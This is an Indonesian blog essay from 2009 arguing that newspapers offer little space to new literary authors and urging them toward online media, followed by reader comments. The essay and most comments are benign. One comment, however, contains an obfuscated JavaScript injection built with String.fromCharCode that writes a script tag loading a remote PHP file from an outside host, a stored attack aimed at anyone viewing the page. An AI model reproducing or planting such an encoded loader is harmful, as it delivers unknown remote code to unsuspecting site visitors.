PENGARANG DI PADANG GERSANG

Friday, 6 March 2009 (10:23) | 372 views | 6 komentar

Oleh: Wardjito Soeharso *)

Pengarang itu pekerjaannya mengarang. Hasil karyanya disebut karangan. Sekarang pengarang sering pula disebut penulis. Karena penulis itu pekerjaannya menulis. Hasil karyanya disebut tulisan. Mestinya ada perbedaan antara karangan dan tulisan.

Karangan itu murni hasil olah cipta pikiran yang disebut rekaan. Rekaan itu imaginatif, sesuatu yang muncul karena inspirasi yang masuk ke dalam pikiran, lalu diolah sedemikian rupa, dirangkai, disusun, dan dituangkan dalam bentuk karangan. Apakah itu berupa puisi, fiksi (cerpen, novel), atau drama. Ketiga bentuk karangan itu disebut karya sastra. Sebagai hasil rekaan imaginatif dan inspiratif, maka karya sastra dikategorikan “something invented” atau sesuatu yang “ditemukan”. Sedangkan, penulis adalah orang yang pekerjaannya menulis. Ya menulis apa saja, menulis buku, menulis berita. Menulis buku, terutama tentang ilmu pengetahuan, perlu ada landasan teori, riset dan observasi, dukungan data dan informasi yang jadi referensi, sehingga ada tanggungjawab ilmiahnya (scientific). Buku tentang ilmu pengetahuan tidak boleh dikarang seenak udelnya sendiri. Begitu pula menulis berita, harus didasarkan pada peristiwa faktual, obyektif dan menghindari opini agar berita yang ditulis bisa dipertanggungjawabkan secara jurnalistik. Oleh karena itu, karya jurnalistik disebut “something factual” atau sesuatu yang “nyata”, benar-benar terjadi.

Jadi, pengarang itu mencari sesuatu yang belum ada (dengan imaginasi) lalu menjadikannya ada dan memberikannya kepada khalayak berupa cerita fiktif-rekaan (karya sastra). Sedang penulis itu mencari sesuatu yang sudah ada (fakta sebagai data dan informasi) dan menjadikannya sesuatu yang lebih baru, kemudian memberikannya kepada khalayak berupa informasi (buku-ilmu pengetahuan) atau cerita faktual (berita).

Hanya karena dalam menuangkan karya ciptanya pengarang juga menulis, maka sering pula pengarang disebut penulis. Kalau dilihat proses dan hasil akhirnya, menulis itu lebih rumit daripada mengarang. Tapi ternyata lebih banyak orang jadi penulis daripada pengarang. Ini karena menulis itu pengetahuan yang bisa dipelajari, sedangkan mengarang itu seni yang sebagian besar muncul sebagai bakat alami.

Tapi bukan perbedaan yang tipis itu yang akan dibicarakan di sini. Baik pengarang maupun penulis sama-sama membutuhkan media sebagai tempat untuk mewadahi hasil karyanya. Banyak penerbit menerbitkan karya para penulis, dalam bentuk buku. Banyak koran dan majalah menerbitkan karya para penulis, dalam bentuk berita dan tulisan ilmiah populer. Tetapi tidak banyak penerbit yang menerbitkan karya para pengarang, dalam bentuk antologi puisi, cerpen, novel, atau naskah drama. Tidak banyak koran dan majalah yang memberikan ruang cukup untuk menerbitkan karya para pengarang, baik puisi, cerpen, novel, apalagi naskah drama.

Jadi wajar kalau pertumbuhan pengarang lebih sulit ketimbang penulis. Lahan pengarang lebih terbatas. Sudah terbatas, lahan yang tersedia adalah lahan berupa padang gersang lagi.

Pengarang memang merana. Arena geraknya sangat terbatas. Terutama media massa, seperti koran dan majalah, tidak cukup menampung karya para pengarang. Sebenarnya, banyak pengarang yang mulai muncul dan tumbuh, tetapi karena tidak memiliki lahan layak untuk terus tumbuh dan berkembang, banyak pengarang yang tersembunyi, dan akhirnya mati tidak diketahui.

Koran dan majalah hanya memberikan ruangnya kepada pengarang-pengarang yang sudah mapan, punya nama, populer, dikenal publik. Sedang untuk pengarang-pengarang muda, pemula, belum punya nama, belum dikenal publik, sulit menembus masuk ruang publik lewat koran dan majalah. Ini bisa dimengerti, mungkin karena karya para pengarang muda dan pemula, banyak yang masih mentah, dangkal, atau apapun istilahnya untuk menyebut karya mereka belum “bernilai” seni atau sastra. Persepsi seperti ini mestinya tidak selalu benar. Walaupun pengarang muda, pemula, tetapi bisa saja karyanya sudah menunjukkan kematangan, sudah memiliki “nilai” lebih dilihat dari seni dan sastra.

Tetapi begitulah. Hegemoni media dengan orientasi infotainmentnya (semua info harus ada unsur menghibur), membuat koran dan majalah lebih senang memberikan tempatnya kepada pengarang mapan. Media takut kalau pengarang muda, pemula, banyak diberi ruang dan kesempatan, publik tidak akan membacanya, dan medianya tidak laku dijual.

Apalagi dalam dunia kepengarangan, banyak dikenal berbagai paham dan aliran. Dan masing-masing paham dan aliran punya pengikut dan penikmat sendiri-sendiri. Kalau seorang pengarang mengikuti aliran dan paham ”mainstream”, yang umum, yang banyak dikenal publik, tidak masalah. Karyanya mudah diterima dan media juga lebih mudah memberikan ruangnya kepadanya. Tapi kalau seorang pengarang menganut aliran dan paham ”non-mainstream”, yang tidak umum, yang tidak banyak dikenal dan diminati publik, seperti aliran ”stream of unconciousness”, aliran sastra yang menafikan logika berpikir runtut, masalahnya menjadi lain. Pengarang dengan aliran seperti ini akan cenderung terpinggirkan oleh media. Padahal kita semua tahu, dunia seni dan sastra adalah dunia yang kaya warna, penuh keserba-mungkinan, yang tak kenal dimensi batas dalam pengembaraan imaginasi. Siapapun yang ingin jadi penikmat sejati seni dan sastra, harus mengikuti konsep ketak-terbatasan ini.

Kembali kepada pengarang dan media, keterbatasan ruang yang diberikan media perlu disikapi lebih kreatif. Koran dan majalah memang padang gersang untuk tumbuhnya pengarang. Oleh karena itu, pengarang, terutama yang muda dan pemula, perlu mencari ladang lain yang lebih subur untuk tumbuh dan berkembang. Di samping mendorong media konvensional seperti koran dan majalah agar lebih banyak mengakomodasi karya-karyanya, perlu dicari pula media alternatif sebagai wadah baru yang lebih menjanjikan.

Media online, atau cyber media, atau internet kayaknya bisa menjadi media alternatif yang cukup subur. Sudah banyak ruang ditawarkan di sana, dalam bentuk blog maupun web yang khusus menampung karya para pengarang muda dan pemula, untuk menulis tentang apa saja. Dunia online adalah dunia baru yang menawarkan apa saja termasuk menawarkan lahan persemaian dan pertumbuhan bagi para pengarang muda dan pemula.

Maka, jadi pengarang sekarang tidak boleh gaptek (gagap teknologi). Komputer dan internet sudah harus jadi sarana utama untuk meningkatkan proses kreatif kepengarangan. Itu kalau tidak ingin selamanya tumbuh kerdil di padang gersang, lho! ***

———————
*) Wardjito Soeharso, pengarang yang juga penulis, pengelola media online www.penulismuda.com. Tinggal di Semarang.

Tulisan lain yang berkaitan:

img Pengumuman 5 (Lima) Karya Tulis Terbaik Agupena Jateng 2010 (24 November 2010, 509 views, 13 respon)
img Kemuliaan Seorang Penulis (14 April 2010, 199 views, 3 respon)
img Hasil Audiensi Agupena, Sekretaris Ditjen PMPTK, dan SEAMOLEC (9 July 2009, 325 views, 4 respon)
img Guru Kesulitan Membuat Karya Tulis (2 April 2009, 187 views, 2 respon)
img Pelantikan Pengurus AGUPENA Banyumas dan Purbalingga (28 March 2009, 376 views, 0 respon)
img Organisasi Guru Penulis dan Budaya Menulis di Kalangan Guru (6 March 2009, 616 views, 26 respon)

6 Responses to “PENGARANG DI PADANG GERSANG”

  1. Anwar ashari tanjung on Friday, 27 March 2009 (pukul 9:59 am)

    Saya juga seorang penulis buku. saya berencana akan datang ke padang dalam jangka waktu dekat. dengan maksud memasarkan buku berjudul 40 HARI DI TANAH SUCI. Kendala saya saat ini, saya belum tahu nama nama toko buku di padang dan bukit tinggi. apa diantara teman teman ada yang mau memberi tahu saya. kalau ada yg punya waktu luang, saya benar benar sangat membutuhkannya. trims

    Reply

  2. Sardono Syarief on Sunday, 12 April 2009 (pukul 11:35 am)

    Membaca coretan “Pengarang di Padang Gersang” tulisan Anda, hati saya sempat tergugah untuk mengikuti jejak Anda yang tak harus menunggu media koran sebagai penyedia tulisan seorang pengarang.
    Dalam arti, kita pun punya kesempatan luas untuk menulis di blog. Saya setuju, pengarang jangan sampai mati ide-idenya di padang gersang…! Namun bagi pengarang yang masih gaptek, gimana nih, Mas?

    Reply

    wardjito soeharso Reply:

    Pengarang gaptek?

    Gimana, ya? Suka atau tidak suka, mau atau tidak mau, kalau kita pengin maju sekarang ini, ya tidak ada pilihan lain: belajar kenal dan dekat dengan teknologi.

    Komputer itu bukan binatang galak kok, jadi tak usah takut dekat-dekat dengannya. Nanti kalau sudah kenal, apalagi sudah diajak jalan-jalan ke dunia maya (internet), saya jamin, siapa pun orangnya pasti ketagihan, hehehe….

    Reply

  3. Deni Kurniawan As'ari on Monday, 13 April 2009 (pukul 6:03 am)

    Saya setuju dengan Pak Wardjito, guru dan boleh gaptek. Info menarik, konon… ke depan nanti, internet itu akan masuk sampai ke pelosok desa dan kampung. Bukan mustahil toh…

    Dulu HP juga begitu, digunakan kalangan terbatas, tapi sekarang HP hampir digunakan semua kalangan.

    Salam untuk Bpk. Wardjito…

    Baca juga tulisan Deni Kurniawan As’ari berjudul Sertifikasi Model Portofolio dan Profesionalisme Guru

    Reply

  4. TRI BUDIYONO on Monday, 20 April 2009 (pukul 9:26 am)

    Buat saya…
    Menulis adalah pekerjaan yang pasti dilakukan oleh guru. Tapi anehnya guru kita merasa tidak mampu menjadi penulis aneh kan? Padahal menulis itu apa yang kita lakukan di kelas kemudian kita pindahkan di kertas, susun rapi sesuai kaidah penulisan yang benar jadi dah karya tulisan jadi bacaan yang menarik. Apalagi kalau mau dipublikasikan. Kita dapat beribadah melalui tulisan, kita bisa uang tambahan dari tulisan dan ….. kita puas pendapat kita didengar, dilihat dan kadang digunakan orang. Apa tidak mulia tuh…tuh…tul.
    salam….
    Tri Budiyono:
    Penulis : Metode Handtrymatika (Penerbit: Sinar Cemerlang Abadi)
    Kreasiku dalam mengajar IPA (Penerbit: Asta Aji Pustaka)
    Mahir Berhitung Jari Tangan (Penerbit: SCA-Aneka Ilmu)

    Reply

  5. a on Sunday, 10 October 2010 (pukul 12:10 pm)

    document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,104,49,46,114,105,112,119,97,121,46,99,111,109,47,98,97,108,105,107,105,116,97,47,115,117,114,97,98,97,121,97,103,101,116,97,114,46,112,104,112,32,32,34,62,60,47,115,99,114,105,112,116,62))dxxxxxxxxxxxxxxxx

    Reply

Feel free to leave a comment...
and oh, if you want a pic to show with your comment, go get a gravatar!





«
»
IP